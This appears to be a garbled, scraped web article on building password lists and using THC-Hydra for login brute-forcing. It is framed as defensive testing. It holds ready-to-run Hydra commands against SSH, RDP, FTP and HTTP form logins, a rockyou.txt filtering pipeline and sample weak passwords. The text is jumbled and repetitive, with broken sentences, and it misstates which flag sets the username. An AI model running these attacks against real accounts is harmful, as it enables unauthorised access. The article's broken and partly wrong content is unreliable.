| Scenario | Command Snippet | |----------|----------------| | Single user, password list | hydra -l admin -P passlist.txt ssh://192.168.1.10 | | User list, single password | hydra -L users.txt -p "123456" rdp://10.0.0.5 | | User list + password list (full brute) | hydra -L users.txt -P passlist.txt ftp://10.0.0.5 | | HTTP form login | hydra -l admin -P passlist.txt 10.0.0.5 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect" |
This article is your deep dive into what this keyword means, how to structure a text file for success, and how to wield the powerful THC-Hydra tool to test (and harden) your network defenses.
When using Hydra with a passlist, keep the following tips in mind: passlist txt hydra
Your command becomes:
Hydra relies on speed. Set a threshold of , then lock the account for 30 minutes. A passlist.txt with 1,000 passwords becomes a time-out nightmare. A passlist
-t [number] : Controls the number of parallel tasks (threads). The default is 16. Higher numbers speed up execution but can crash the target service or trigger rate limits. Where to Find High-Quality passlist.txt Files
cat /usr/share/wordlists/rockyou.txt | pw-inspector -m 6 -M 10 -c 2 -n 1 > refined_passlist.txt Higher numbers speed up execution but can crash
# Example structure of a basic passlist.txt password123 admin qwerty LetMeIn2026! Use code with caution. Hydra accepts a passlist through the -P flag: hydra -l admin -P passlist.txt 192.168.1.50 ssh Use code with caution. Where to Find High-Quality Passlists
To test a single known username against a list of passwords contained in passlist.txt , use the lowercase -p flag for the username and the uppercase -P flag for the password list: hydra -l admin -P passlist.txt ssh://192.168.1.50 Use code with caution. Testing Multiple Users and Passwords
password123 qwerty letmein admin iloveyou
While you can use rockyou.txt (a famous 14-million password list), a targeted passlist.txt is often more effective. For a focused audit (e.g., testing a single executive’s email or a departmental FTP server), create a custom list containing: